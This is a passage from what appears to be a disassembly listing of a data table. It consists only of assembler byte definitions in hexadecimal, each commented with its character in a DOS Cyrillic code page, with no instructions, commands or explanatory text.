		db  0Bh	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  10h	;  
		db  0Ch	;  
		db 0D8h	; ь
		db  5Bh	; [
		db 0ACh	; ╛
		db  0Bh	;  
		db 0D8h	; ь
		db  5Bh	; [
		db 0ACh	; ╛
		db  0Ch	;  
		db 0D8h	; ь
		db  5Bh	; [
		db 0AEh	; ў
		db 0E7h	; Г
		db 0D8h	; ь
		db  5Bh	; [
		db 0AEh	; ў
		db 0E8h	; Х
		db 0D8h	; ь
		db  5Bh	; [
		db 0C0h	; ю
		db    1	;  
		db 0D8h	; ь
		db  5Bh	; [
		db 0C0h	; ю
		db    2	;  
		db 0D8h	; ь
		db  5Bh	; [
		db    2	;  
		db    2	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  1Bh	;  
		db  0Ah	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  38h	; 8
		db  1Ch	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  38h	; 8
		db  1Dh	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  52h	; R
		db    2	;  
		db 0D8h	; ь
		db  5Bh	; [
		db  57h	; W
		db 0F8h	; Ь
		db 0D8h	; ь
		db  5Bh	; [
		db  57h	; W
		db 0F9h	; Ы
		db 0D8h	; ь
		db  5Fh	; _
		db 0F9h	; Ы
		db    3	;  
		db 0D8h	; ь
		db  5Fh	; _
		db 0F9h	; Ы
		db    4	;  
		db 0D8h	; ь
		db  62h	; b
		db 0B4h	; Є
		db  0Ah	;  
		db 0D8h	; ь
		db  62h	; b
		db 0B4h	; Є
		db  0Bh	;  
		db 0D8h	; ь
		db  62h	; b
		db  40h	; @
		db  0Ch	;  
		db 0D8h	; ь
		db  62h	; b
		db  40h	; @
		db    4	;  
		db 0D8h	; ь
		db  63h	; c
		db 0C1h	; а
		db    1	;  
		db 0D8h	; ь
		db  63h	; c
		db 0C1h	; а
		db  13h	;  
		db 0D8h	; ь
		db  63h	; c
		db 0E1h	; А
		db  1Eh	;  
		db 0D8h	; ь
		db  63h	; c
		db 0E1h	; А
		db  1Fh	;  
		db 0D8h	; ь
		db  63h	; c
		db  38h	; 8
		db    1	;  
		db 0D8h	; ь
		db  63h	; c
		db  38h	; 8
		db  14h	;  
		db 0D9h	; ы
		db  71h	; q
		db 0E0h	; Ю
		db    3	;  
		db 0D9h	; ы
		db 0C6h	; ф
		db    1	;  
		db    2	;  
		db 0D9h	; ы
		db  21h	; !
		db  96h	; √
		db 0C9h	; и
		db 0D9h	; ы
		db  21h	; !
		db  96h	; √
		db 0CEh	; н
		db 0D9h	; ы
		db  49h	; I
		db 0E0h	; Ю
		db    1	;  
		db 0D9h	; ы
		db  49h	; I
		db 0E8h	; Х
		db  63h	; c
		db  18h	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db  18h	;  
		db  70h	; p
		db  1Fh	;  
		db 0FEh	; Ч
		db  18h	;  
		db  70h	; p
		db  20h	;  
		db    2	;  
		db  18h	;  
		db  78h	; x
		db  2Ah	; *
		db    2	;  
		db  18h	;  
		db  78h	; x
		db  2Ah	; *
		db    3	;  
		db  18h	;  
		db  7Bh	; {
		db  70h	; p
		db  56h	; V
		db  18h	;  
		db  80h	; ─
		db    1	;  
		db  50h	; P
		db  18h	;  
		db  80h	; ─
		db    1	;  
		db  51h	; Q
		db  18h	;  
		db  80h	; ─
		db    1	;  
		db  52h	; R
		db  18h	;  
		db  81h	; │
		db    0	;  
		db  67h	; g
		db  18h	;  
		db  81h	; │
		db    0	;  
		db  42h	; B
		db  18h	;  
		db  82h	; ┌
		db    1	;  
		db  2Bh	; +
		db  18h	;  
		db  8Eh	; ▌
		db  66h	; f
		db  0Ah	;  
		db  18h	;  
		db  8Eh	; ▌
		db  66h	; f
		db  14h	;  
		db  18h	;  
		db  99h	; ≥
		db  16h	;  
		db  0Dh	;  
		db  18h	;  
		db  99h	; ≥
		db  16h	;  
		db  8Dh	; █
		db  18h	;  
		db  9Bh	; ⌡
		db  0Ah	;  
		db  0Ah	;  
		db  18h	;  
		db 0A1h	; ║
		db 0C1h	; а
		db  40h	; @
		db  18h	;  
		db 0A1h	; ║
		db 0C1h	; а
		db  41h	; A
		db  18h	;  
		db    2	;  
		db    0	;  
		db  1Bh	;  
		db  18h	;  
		db 0D5h	; у
		db  1Ch	;  
		db  26h	; &
		db  18h	;  
		db 0D5h	; у
		db  3Ch	; <
		db  4Dh	; M
		db  18h	;  
		db 0D5h	; у
		db  3Ch	; <
		db  4Eh	; N
		db  18h	;  
		db 0D8h	; ь
		db  6Ch	; l
		db    9	;  
		db  18h	;  
		db 0DBh	; ш
		db    4	;  
		db  0Bh	;  
		db  18h	;  
		db 0DBh	; ш
		db    4	;  
		db 0D8h	; ь
		db  18h	;  
		db 0DDh	; щ
		db  1Eh	;  
		db    3	;  
		db  18h	;  
		db 0DDh	; щ
		db  1Eh	;  
		db    4	;  
		db  18h	;  
		db 0DDh	; щ
		db  5Fh	; _
		db    3	;  
		db  18h	;  
		db 0DDh	; щ
		db  5Fh	; _
		db    4	;  
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  0Bh	;  
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  14h	;  
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  15h	;  
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  2Ah	; *
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  2Eh	; .
		db  18h	;  
		db 0E2h	; Б
		db    1	;  
		db  5Ah	; Z
		db  18h	;  
		db 0EAh	; Й
		db    0	;  
		db    5	;  
		db  18h	;  
		db 0F0h	; П
		db  8Dh	; █
		db 0F1h	; Я
		db  18h	;  
		db 0F7h	; В
		db  18h	;  
		db  26h	; &
		db  18h	;  
		db  19h	;  
		db 0C3h	; ц
		db    1	;  
		db  18h	;  
		db  19h	;  
		db 0C3h	; ц
		db    3	;  
		db  18h	;  
		db  19h	;  
		db 0E3h	; Ц
		db  40h	; @
		db  18h	;  
		db  19h	;  
		db 0E3h	; Ц
		db  42h	; B
		db  18h	;  
		db  1Eh	;  
		db 0C8h	; х
		db    3	;  
		db  18h	;  
		db  1Eh	;  
		db 0C9h	; и
		db    3	;  
		db  18h	;  
		db  30h	; 0
		db  2Bh	; +
		db    3	;  
		db  18h	;  
		db  40h	; @
		db  3Fh	; ?
		db 0C3h	; ц
		db  18h	;  
		db  40h	; @
		db  3Fh	; ?
		db 0D4h	; т
		db  18h	;  
		db  43h	; C
		db 0FDh	; Щ
		db 0C3h	; ц
		db  18h	;  
		db  43h	; C
		db 0FDh	; Щ
		db 0D4h	; т
		db  18h	;  
		db  45h	; E
		db 0FFh	;  
		db 0C3h	; ц
		db  18h	;  
		db  45h	; E
		db 0FFh	;  
		db 0D4h	; т
		db  18h	;  
		db  5Ch	; \
		db 0E2h	; Б
		db  0Bh	;  
		db  18h	;  
		db  5Ch	; \
		db 0E2h	; Б
		db 0ACh	; ╛
		db  18h	;  
		db  5Ch	; \
		db 0E2h	; Б
		db 0ADh	; ґ
		db  18h	;  
		db  5Ch	; \
		db 0E2h	; Б
		db 0AEh	; ў
		db  20h	;  
		db 0FEh	; Ч
		db    2	;  
		db  46h	; F
		db  20h	;  
		db  60h	; `
		db  86h	; ├
		db  11h	;  
		db  20h	;  
		db  61h	; a
		db 0EFh	; О
		db  35h	; 5
		db  23h	; #
		db    8	;  
		db    2	;  
		db  29h	; )
		db  23h	; #
		db    8	;  
		db    2	;  
		db  2Ah	; *
		db  26h	; &
		db 0B2h	; ╡
		db  22h	; "
		db 0FEh	; Ч
		db  26h	; &
		db 0DBh	; ш
		db  85h	; ┘
		db 0CAh	; й
		db  26h	; &
		db 0E7h	; Г
		db  81h	; │
		db  55h	; U
		db  26h	; &
		db 0F4h	; Т
		db  6Fh	; o
		db    2	;  
		db  26h	; &
		db    8	;  
		db 0BDh	; Ґ
		db    2	;  
		db  26h	; &
		db    8	;  
		db  30h	; 0
		db    2	;  
		db  26h	; &
		db    8	;  
		db    5	;  
		db    2	;  
		db  26h	; &
		db    8	;  
		db  32h	; 2
		db    2	;  
		db  26h	; &
		db    8	;  
		db  5Ch	; \
		db    2	;  
		db  26h	; &
		db    8	;  
		db  5Dh	; ]
		db    2	;  
		db  26h	; &
		db    8	;  
		db  5Eh	; ^
		db    2	;  
		db  26h	; &
		db    8	;  
		db  5Fh	; _
		db    2	;  
		db  26h	; &
		db    8	;  
		db  60h	; `
		db    2	;  
		db  26h	; &
		db    9	;  
		db  72h	; r
		db    2	;  
		db  26h	; &
		db    9	;  
		db  73h	; s
		db    2	;  
		db  26h	; &
		db    9	;  
		db  74h	; t
		db    2	;  
		db  26h	; &
		db    9	;  
		db  87h	; ┤
		db    2	;  
		db  26h	; &
		db    9	;  
		db  88h	; ┬
		db    2	;  
		db  26h	; &
		db    9	;  
		db  89h	; ┴
		db    2	;  
		db    4	;  
		db    1	;  
		db  10h	;  
		db    4	;  
		db    4	;  
		db  11h	;  
		db 0B8h	; ╦
		db    4	;  
		db    4	;  
		db  12h	;  
		db  0Bh	;  
		db    2	;  
		db    4	;  
		db  12h	;  
		db  0Bh	;  
		db    3	;  
		db    4	;  
		db  12h	;  
		db  87h	; ┤
		db    8	;  
		db    4	;  
		db  12h	;  
		db  8Ch	; ▄
		db  45h	; E
		db    4	;  
		db  12h	;  
		db  94h	; ■
		db    2	;  
		db    4	;  
		db  12h	;  
		db  94h	; ■
		db    3	;  
		db    4	;  
		db  12h	;  
		db 0A6h	; і
		db 0A5h	; ╔
		db    4	;  
		db    2	;  
		db  23h	; #
		db    8	;  
		db    4	;  
		db    2	;  
		db  31h	; 1
		db    2	;  
		db    4	;  
		db    2	;  
		db  31h	; 1
		db    3	;  
		db    4	;  
		db    2	;  
		db  31h	; 1
		db    4	;  
		db    4	;  
		db  15h	;  
		db 0ADh	; ґ
		db  22h	; "
		db    4	;  
		db  15h	;  
		db 0ADh	; ґ
		db    5	;  
		db    4	;  
		db  15h	;  
		db 0CCh	; л
		db  1Eh	;  
		db  28h	; (
		db  21h	; !
		db    1	;  
		db    1	;  
		db  34h	; 4
		db  80h	; ─
		db  1Eh	;  
		db    3	;  
		db  35h	; 5
		db  7Ah	; z
		db    1	;  
		db  0Ah	;  
		db  35h	; 5
		db  7Ah	; z
		db    2	;  
		db  0Ah	;  
		db  35h	; 5
		db  8Ch	; ▄
		db  7Dh	; }
		db  41h	; A
		db  35h	; 5
		db  8Ch	; ▄
		db  7Dh	; }
		db  42h	; B
		db  37h	; 7
		db 0C0h	; ю
		db  16h	;  
		db  87h	; ┤
		db  38h	; 8
		db    0	;  
		db  48h	; H
		db  0Bh	;  
		db  38h	; 8
		db    0	;  
		db  60h	; `
		db  0Bh	;  
		db  39h	; 9
		db    0	;  
		db    2	;  
		db    2	;  
		db  39h	; 9
		db    0	;  
		db    3	;  
		db    2	;  
		db  39h	; 9
		db  0Ch	;  
		db  13h	;  
		db 0C2h	; б
		db  39h	; 9
		db  0Ch	;  
		db  13h	;  
		db 0C3h	; ц
		db  39h	; 9
		db  42h	; B
		db  7Fh	; 
		db 0C2h	; б
		db  39h	; 9
		db  44h	; D
		db  7Fh	; 
		db 0C2h	; б
		db  39h	; 9
		db  46h	; F
		db  7Fh	; 
		db 0C2h	; б
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    5	;  
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    9	;  
		db  3Dh	; =
		db  75h	; u
		db 0CFh	; о
		db    2	;  
		db  3Dh	; =
		db  75h	; u
		db 0CFh	; о
		db    3	;  
		db  3Dh	; =
		db  78h	; x
		db  70h	; p
		db    2	;  
		db  3Dh	; =
		db  78h	; x
		db  97h	; ≈
		db  64h	; d
		db  3Dh	; =
		db  79h	; y
		db 0D6h	; ж
		db  76h	; v
		db  3Dh	; =
		db  7Ah	; z
		db  80h	; ─
		db  92h	; ▓
		db  3Dh	; =
		db  7Ah	; z
		db  80h	; ─
		db    2	;  
		db  3Dh	; =
		db 0C2h	; б
		db    0	;  
		db 0BAh	; ╨
		db  3Dh	; =
		db 0C2h	; б
		db    0	;  
		db 0D4h	; т
		db  3Dh	; =
		db 0C2h	; б
		db  0Fh	;  
		db  22h	; "
		db  3Dh	; =
		db 0C2h	; б
		db    2	;  
		db 0FCh	; Э
		db  3Dh	; =
		db 0C2h	; б
		db 0F8h	; Ь
		db 0E1h	; А
		db  3Dh	; =
		db 0C8h	; х
		db  3Ah	; :
		db 0E2h	; Б
		db  3Dh	; =
		db 0CAh	; й
		db  8Ch	; ▄
		db    3	;  
		db  3Dh	; =
		db 0CCh	; л
		db 0D5h	; у
		db    1	;  
		db  3Dh	; =
		db 0CDh	; м
		db  40h	; @
		db    5	;  
		db  3Dh	; =
		db 0CDh	; м
		db  40h	; @
		db    6	;  
		db  3Dh	; =
		db 0D0h	; п
		db  96h	; √
		db  22h	; "
		db  3Dh	; =
		db 0D0h	; п
		db 0BDh	; Ґ
		db 0EAh	; Й
		db  3Dh	; =
		db 0D0h	; п
		db 0D1h	; я
		db 0F2h	; Р
		db  3Dh	; =
		db 0D5h	; у
		db 0BDh	; Ґ
		db 0D6h	; ж
		db  3Dh	; =
		db 0DAh	; з
		db  60h	; `
		db  9Ah	;  
		db  3Dh	; =
		db 0DCh	; э
		db  9Fh	; ÷
		db    3	;  
		db  3Dh	; =
		db 0DCh	; э
		db  9Fh	; ÷
		db    4	;  
		db  3Dh	; =
		db 0DCh	; э
		db 0C5h	; е
		db 0B2h	; ╡
		db  3Dh	; =
		db 0DEh	; ч
		db  1Eh	;  
		db  64h	; d
		db  3Dh	; =
		db  24h	; $
		db 0FCh	; Э
		db    1	;  
		db  3Dh	; =
		db  4Eh	; N
		db  83h	; ┐
		db  1Eh	;  
		db  3Dh	; =
		db    9	;  
		db  80h	; ─
		db  0Dh	;  
		db  3Dh	; =
		db    9	;  
		db  80h	; ─
		db  10h	;  
		db  3Dh	; =
		db    9	;  
		db  80h	; ─
		db  28h	; (
		db  3Dh	; =
		db    9	;  
		db 0C0h	; ю
		db  0Dh	;  
		db  3Eh	; >
		db    1	;  
		db    1	;  
		db  3Eh	; >
		db  3Eh	; >
		db    1	;  
		db    1	;  
		db  5Ch	; \
		db  3Eh	; >
		db  68h	; h
		db  40h	; @
		db  14h	;  
		db  3Eh	; >
		db  6Ch	; l
		db    1	;  
		db  41h	; A
		db  3Eh	; >
		db  6Ch	; l
		db    1	;  
		db  42h	; B
		db  3Eh	; >
		db  0Ch	;  
		db  1Ah	;  
		db    1	;  
		db  3Eh	; >
		db  80h	; ─
		db    1	;  
		db  2Ah	; *
		db  3Eh	; >
		db  80h	; ─
		db    1	;  
		db  35h	; 5
		db  3Eh	; >
		db  0Eh	;  
		db    2	;  
		db    1	;  
		db  3Eh	; >
		db 0A1h	; ║
		db 0E8h	; Х
		db  22h	; "
		db  3Eh	; >
		db 0A8h	; ╗
		db  60h	; `
		db    4	;  
		db  3Eh	; >
		db 0B6h	; І
		db  89h	; ┴
		db  1Dh	;  
		db  3Eh	; >
		db 0B6h	; І
		db  89h	; ┴
		db  1Eh	;  
		db  3Eh	; >
		db    2	;  
		db  20h	;  
		db 0FAh	; З
		db  3Eh	; >
		db    2	;  
		db  20h	;  
		db    5	;  
		db  3Eh	; >
		db 0CCh	; л
		db    1	;  
		db    1	;  
		db  3Eh	; >
		db  17h	;  
		db 0A3h	; ё
		db  47h	; G
		db  3Eh	; >
		db  17h	;  
		db 0A3h	; ё
		db  48h	; H
		db  3Eh	; >
		db 0E8h	; Х
		db  50h	; P
		db  24h	; $
		db  3Eh	; >
		db  18h	;  
		db    7	;  
		db  0Dh	;  
		db  3Eh	; >
		db 0F5h	; У
		db  86h	; ├
		db  94h	; ■
		db  3Eh	; >
		db 0FAh	; З
		db    2	;  
		db    2	;  
		db  3Eh	; >
		db  24h	; $
		db 0DCh	; э
		db  4Bh	; K
		db  3Eh	; >
		db  51h	; Q
		db    0	;  
		db    1	;  
		db  3Eh	; >
		db  51h	; Q
		db  10h	;  
		db 0C5h	; е
		db  3Eh	; >
		db  5Eh	; ^
		db    0	;  
		db    1	;  
		db  3Eh	; >
		db  5Eh	; ^
		db    0	;  
		db    2	;  
		db  3Eh	; >
		db  60h	; `
		db  80h	; ─
		db  42h	; B
		db  3Fh	; ?
		db  64h	; d
		db  2Ah	; *
		db 0FAh	; З
		db  3Fh	; ?
		db  69h	; i
		db  25h	; %
		db  14h	;  
		db  3Fh	; ?
		db  6Ah	; j
		db  85h	; ┘
		db 0F8h	; Ь
		db  3Fh	; ?
		db  6Ah	; j
		db  99h	; ≥
		db  0Ch	;  
		db  3Fh	; ?
		db  6Ch	; l
		db  88h	; ┬
		db    6	;  
		db  3Fh	; ?
		db  72h	; r
		db  58h	; X
		db    6	;  
		db  3Fh	; ?
		db  79h	; y
		db  29h	; )
		db    2	;  
		db  3Fh	; ?
		db  88h	; ┬
		db  69h	; i
		db  8Ah	; ┼
		db  3Fh	; ?
		db  8Ch	; ▄
		db    0	;  
		db    9	;  
		db  3Fh	; ?
		db  8Ch	; ▄
		db 0F0h	; П
		db 0FEh	; Ч
		db  3Fh	; ?
		db  91h	; ▒
		db 0E9h	; И
		db  33h	; 3
		db  3Fh	; ?
		db  91h	; ▒
		db 0ECh	; Л
		db  51h	; Q
		db  3Fh	; ?
		db  92h	; ▓
		db  2Dh	; -
		db  0Ah	;  
		db  3Fh	; ?
		db  92h	; ▓
		db  2Dh	; -
		db    2	;  
		db  3Fh	; ?
		db  92h	; ▓
		db  2Eh	; .
		db    2	;  
		db  3Fh	; ?
		db  94h	; ■
		db  7Bh	; {
		db  0Fh	;  
		db  3Fh	; ?
		db  95h	; ∙
		db  25h	; %
		db 0E2h	; Б
		db  3Fh	; ?
		db  95h	; ∙
		db  36h	; 6
		db  24h	; $
		db  3Fh	; ?
		db 0A0h	; ═
		db  18h	;  
		db  85h	; ┘
		db  3Fh	; ?
		db 0A2h	; ╒
		db  39h	; 9
		db  1Fh	;  
		db  3Fh	; ?
		db 0A4h	; є
		db  20h	;  
		db    2	;  
		db  3Fh	; ?
		db 0A4h	; є
		db  20h	;  
		db    6	;  
		db  3Fh	; ?
		db 0A5h	; ╔
		db  20h	;  
		db    2	;  
		db  3Fh	; ?
		db 0A5h	; ╔
		db    6	;  
		db  3Ch	; <
		db  3Fh	; ?
		db 0A5h	; ╔
		db    6	;  
		db  3Dh	; =
		db  3Fh	; ?
		db 0A5h	; ╔
		db    6	;  
		db  3Eh	; >
		db  3Fh	; ?
		db 0A7h	; ї
		db  8Eh	; ▌
		db 0E6h	; Ф
		db  3Fh	; ?
		db 0A7h	; ї
		db  2Dh	; -
		db  12h	;  
		db  3Fh	; ?
		db 0A7h	; ї
		db  2Dh	; -
		db  1Ah	;  
		db  3Fh	; ?
		db 0A8h	; ╗
		db  69h	; i
		db 0F0h	; П
		db  3Fh	; ?
		db 0A8h	; ╗
		db    7	;  
		db    5	;  
		db  3Fh	; ?
		db 0A9h	; ╘
		db  1Ch	;  
		db    2	;  
		db  3Fh	; ?
		db 0A9h	; ╘
		db  26h	; &
		db  3Eh	; >
		db  3Fh	; ?
		db 0ABh	; ╚
		db  6Bh	; k
		db 0B4h	; Є
		db  3Fh	; ?
		db 0ABh	; ╚
		db  6Bh	; k
		db 0B5h	; ╣
		db  3Fh	; ?
		db 0ACh	; ╛
		db  3Ch	; <
		db 0F0h	; П
		db  3Fh	; ?
		db 0ADh	; ґ
		db 0BEh	; Ў
		db    4	;  
		db  3Fh	; ?
		db 0ADh	; ґ
		db 0BEh	; Ў
		db    5	;  
		db  3Fh	; ?
		db 0ADh	; ґ
		db 0E2h	; Б
		db    5	;  
		db  3Fh	; ?
		db 0AEh	; ў
		db  3Bh	; ;
		db    2	;  
		db  3Fh	; ?
		db 0C2h	; б
		db  8Ch	; ▄
		db  16h	;  
		db  3Fh	; ?
		db 0D2h	; р
		db 0A1h	; ║
		db    5	;  
		db  3Fh	; ?
		db 0D2h	; р
		db 0F3h	; С
		db  0Ah	;  
		db  3Fh	; ?
		db 0D2h	; р
		db 0F3h	; С
		db  0Bh	;  
		db  3Fh	; ?
		db 0D2h	; р
		db 0F4h	; Т
		db  0Bh	;  
		db  3Fh	; ?
		db 0D3h	; с
		db  29h	; )
		db 0C4h	; д
		db  3Fh	; ?
		db 0D3h	; с
		db  29h	; )
		db 0C6h	; ф
		db  3Fh	; ?
		db 0D3h	; с
		db  56h	; V
		db    1	;  
		db  3Fh	; ?
		db 0D3h	; с
		db  56h	; V
		db    2	;  
		db  3Fh	; ?
		db 0D8h	; ь
		db  70h	; p
		db  42h	; B
		db  3Fh	; ?
		db 0FAh	; З
		db    1	;  
		db    8	;  
		db  3Fh	; ?
		db 0FAh	; З
		db  40h	; @
		db    3	;  
		db  3Fh	; ?
		db 0FAh	; З
		db  40h	; @
		db    4	;  
		db  3Fh	; ?
		db  41h	; A
		db  48h	; H
		db  14h	;  
		db  3Fh	; ?
		db  41h	; A
		db  48h	; H
		db  1Eh	;  
		db  3Fh	; ?
		db  46h	; F
		db 0F3h	; С
		db 0EFh	; О
		db  3Fh	; ?
		db  47h	; G
		db 0BEh	; Ў
		db  0Ah	;  
		db  3Fh	; ?
		db  47h	; G
		db 0BEh	; Ў
		db  0Fh	;  
		db  3Fh	; ?
		db  47h	; G
		db 0E4h	; Д
		db  46h	; F
		db  3Fh	; ?
		db  47h	; G
		db  52h	; R
		db 0FAh	; З
		db  3Fh	; ?
		db  47h	; G
		db  52h	; R
		db 0FCh	; Э
		db  3Fh	; ?
		db  49h	; I
		db  83h	; ┐
		db  0Dh	;  
		db  3Fh	; ?
		db  49h	; I
		db  83h	; ┐
		db  0Eh	;  
		db  3Fh	; ?
		db  49h	; I
		db 0A0h	; ═
		db  82h	; ┌
		db  3Fh	; ?
		db  49h	; I
		db 0A0h	; ═
		db    2	;  
		db  3Fh	; ?
		db  50h	; P
		db  4Ch	; L
		db  84h	; └
		db  3Fh	; ?
		db  52h	; R
		db 0C4h	; д
		db  20h	;  
		db  3Fh	; ?
		db  53h	; S
		db 0E1h	; А
		db 0FBh	; Ш
		db  3Fh	; ?
		db  58h	; X
		db 0CFh	; о
		db  42h	; B
		db  40h	; @
		db  68h	; h
		db  2Fh	; /
		db    1	;  
		db  40h	; @
		db  0Ch	;  
		db  2Eh	; .
		db    1	;  
		db  40h	; @
		db  0Fh	;  
		db 0ABh	; ╚
		db  51h	; Q
		db  40h	; @
		db  9Dh	; ²
		db  88h	; ┬
		db    2	;  
		db  40h	; @
		db 0A2h	; ╒
		db  16h	;  
		db 0C4h	; д
		db  40h	; @
		db  11h	;  
		db 0EAh	; Й
		db    2	;  
		db  40h	; @
		db  13h	;  
		db  4Ch	; L
		db    3	;  
		db  40h	; @
		db 0C5h	; е
		db 0FFh	;  
		db  3Ah	; :
		db  40h	; @
		db 0C5h	; е
		db 0FFh	;  
		db  42h	; B
		db  40h	; @
		db    2	;  
		db 0F0h	; П
		db  84h	; └
		db  40h	; @
		db 0D0h	; п
		db  99h	; ≥
		db  0Bh	;  
		db  40h	; @
		db 0D0h	; п
		db    8	;  
		db  87h	; ┤
		db  40h	; @
		db  15h	;  
		db 0C0h	; ю
		db    5	;  
		db  40h	; @
		db  15h	;  
		db 0C0h	; ю
		db    6	;  
		db  40h	; @
		db 0D4h	; т
		db  66h	; f
		db 0AAh	; ╙
		db  40h	; @
		db 0D5h	; у
		db 0BEh	; Ў
		db  87h	; ┤
		db  40h	; @
		db 0D6h	; ж
		db 0E1h	; А
		db  10h	;  
		db  40h	; @
		db 0E0h	; Ю
		db  14h	;  
		db  84h	; └
		db  40h	; @
		db 0E0h	; Ю
		db  14h	;  
		db  85h	; ┘
		db  40h	; @
		db 0E0h	; Ю
		db  14h	;  
		db  86h	; ├
		db  40h	; @
		db 0E8h	; Х
		db 0ACh	; ╛
		db  0Ah	;  
		db  40h	; @
		db 0E8h	; Х
		db 0ACh	; ╛
		db  0Bh	;  
		db  40h	; @
		db 0EFh	; О
		db  84h	; └
		db  0Bh	;  
		db  40h	; @
		db 0EFh	; О
		db  39h	; 9
		db  13h	;  
		db  40h	; @
		db 0EFh	; О
		db  39h	; 9
		db  20h	;  
		db  40h	; @
		db 0F2h	; Р
		db  4Dh	; M
		db  8Ch	; ▄
		db  40h	; @
		db 0F3h	; С
		db 0E2h	; Б
		db    4	;  
		db  40h	; @
		db 0F3h	; С
		db  22h	; "
		db  0Ch	;  
		db  40h	; @
		db 0F3h	; С
		db  22h	; "
		db  0Dh	;  
		db  40h	; @
		db 0F3h	; С
		db  22h	; "
		db    2	;  
		db  40h	; @
		db 0F5h	; У
		db  14h	;  
		db  0Eh	;  
		db  40h	; @
		db 0F5h	; У
		db  19h	;  
		db  82h	; ┌
		db  40h	; @
		db 0F5h	; У
		db  2Bh	; +
		db  0Eh	;  
		db  40h	; @
		db 0FEh	; Ч
		db  80h	; ─
		db  42h	; B
		db  40h	; @
		db 0FEh	; Ч
		db  61h	; a
		db  14h	;  
		db  40h	; @
		db  1Ah	;  
		db    0	;  
		db  17h	;  
		db  40h	; @
		db  1Ah	;  
		db  26h	; &
		db    2	;  
		db  40h	; @
		db  1Ch	;  
		db 0C1h	; а
		db    2	;  
		db  40h	; @
		db  1Eh	;  
		db  8Bh	; ▀
		db    2	;  
		db  40h	; @
		db  1Eh	;  
		db 0E2h	; Б
		db 0A8h	; ╗
		db  40h	; @
		db  1Eh	;  
		db 0E2h	; Б
		db 0AAh	; ╙
		db  40h	; @
		db  28h	; (
		db 0C0h	; ю
		db  0Ah	;  
		db  40h	; @
		db  28h	; (
		db 0C0h	; ю
		db  0Ch	;  
		db  40h	; @
		db  29h	; )
		db 0AEh	; ў
		db  2Dh	; -
		db  40h	; @
		db  2Ah	; *
		db  11h	;  
		db  96h	; √
		db  40h	; @
		db  2Eh	; .
		db  80h	; ─
		db    3	;  
		db  40h	; @
		db  2Eh	; .
		db  80h	; ─
		db    4	;  
		db  40h	; @
		db  31h	; 1
		db    1	;  
		db    4	;  
		db  40h	; @
		db    5	;  
		db  82h	; ┌
		db    2	;  
		db  40h	; @
		db    5	;  
		db  82h	; ┌
		db    3	;  
		db  40h	; @
		db  32h	; 2
		db  80h	; ─
		db  0Ah	;  
		db  40h	; @
		db  32h	; 2
		db  80h	; ─
		db    2	;  
		db  40h	; @
		db  32h	; 2
		db  80h	; ─
		db    6	;  
		db  40h	; @
		db    6	;  
		db  2Dh	; -
		db    3	;  
		db  40h	; @
		db    6	;  
		db  2Dh	; -
		db    5	;  
		db  40h	; @
		db  3Dh	; =
		db    1	;  
		db    2	;  
		db  40h	; @
		db  3Dh	; =
		db    1	;  
		db    3	;  
		db  40h	; @
		db  41h	; A
		db 0C4h	; д
		db    2	;  
		db  40h	; @
		db  41h	; A
		db 0D0h	; п
		db    2	;  
		db  40h	; @
		db  41h	; A
		db 0DFh	; ъ
		db    2	;  
		db  40h	; @
		db  42h	; B
		db 0C0h	; ю
		db  14h	;  
		db  40h	; @
		db  42h	; B
		db 0C0h	; ю
		db  15h	;  
		db  40h	; @
		db  44h	; D
		db  88h	; ┬
		db  1Ch	;  
		db  40h	; @
		db  45h	; E
		db 0A8h	; ╗
		db  64h	; d
		db  40h	; @
		db  45h	; E
		db    4	;  
		db  0Ah	;  
		db  40h	; @
		db  45h	; E
		db    4	;  
		db  0Bh	;  
		db  40h	; @
		db  45h	; E
		db  2Ch	; ,
		db  8Ch	; ▄
		db  40h	; @
		db  45h	; E
		db  49h	; I
		db    4	;  
		db  40h	; @
		db  50h	; P
		db 0C8h	; х
		db 0FEh	; Ч
		db  40h	; @
		db  50h	; P
		db 0FFh	;  
		db 0FAh	; З
		db  40h	; @
		db  50h	; P
		db 0FFh	;  
		db 0FBh	; Ш
		db  40h	; @
		db  54h	; T
		db  3Eh	; >
		db    2	;  
		db  40h	; @
		db  56h	; V
		db 0D6h	; ж
		db  0Ah	;  
		db  40h	; @
		db  56h	; V
		db 0D6h	; ж
		db  19h	;  
		db  40h	; @
		db  56h	; V
		db 0D6h	; ж
		db  1Ah	;  
		db  40h	; @
		db  59h	; Y
		db 0A0h	; ═
		db 0CDh	; м
		db  40h	; @
		db  5Eh	; ^
		db 0C4h	; д
		db  0Ch	;  
		db  40h	; @
		db  5Fh	; _
		db  0Ch	;  
		db 0A1h	; ║
		db  40h	; @
		db  5Fh	; _
		db  0Ch	;  
		db 0A2h	; ╒
		db  40h	; @
		db  5Fh	; _
		db  0Ch	;  
		db 0B1h	; ╠
		db  40h	; @
		db  5Fh	; _
		db  0Ch	;  
		db 0B2h	; ╡
		db  40h	; @
		db  5Fh	; _
		db  44h	; D
		db  0Ah	;  
		db  40h	; @
		db  5Fh	; _
		db  45h	; E
		db  96h	; √
		db  40h	; @
		db  5Fh	; _
		db  4Eh	; N
		db    6	;  
		db  41h	; A
		db  6Bh	; k
		db  19h	;  
		db    6	;  
		db  41h	; A
		db  78h	; x
		db    0	;  
		db  0Ah	;  
		db  41h	; A
		db  78h	; x
		db    0	;  
		db    2	;  
		db  41h	; A
		db  78h	; x
		db  30h	; 0
		db  66h	; f
		db  41h	; A
		db  78h	; x
		db  30h	; 0
		db  67h	; g
		db  41h	; A
		db 0A0h	; ═
		db  88h	; ┬
		db    4	;  
		db  41h	; A
		db 0A0h	; ═
		db 0BEh	; Ў
		db    3	;  
		db  41h	; A
		db 0A1h	; ║
		db  6Dh	; m
		db  32h	; 2
		db  41h	; A
		db 0A1h	; ║
		db  73h	; s
		db    2	;  
		db  41h	; A
		db 0A1h	; ║
		db 0B1h	; ╠
		db    2	;  
		db  41h	; A
		db 0A1h	; ║
		db  33h	; 3
		db    1	;  
		db  41h	; A
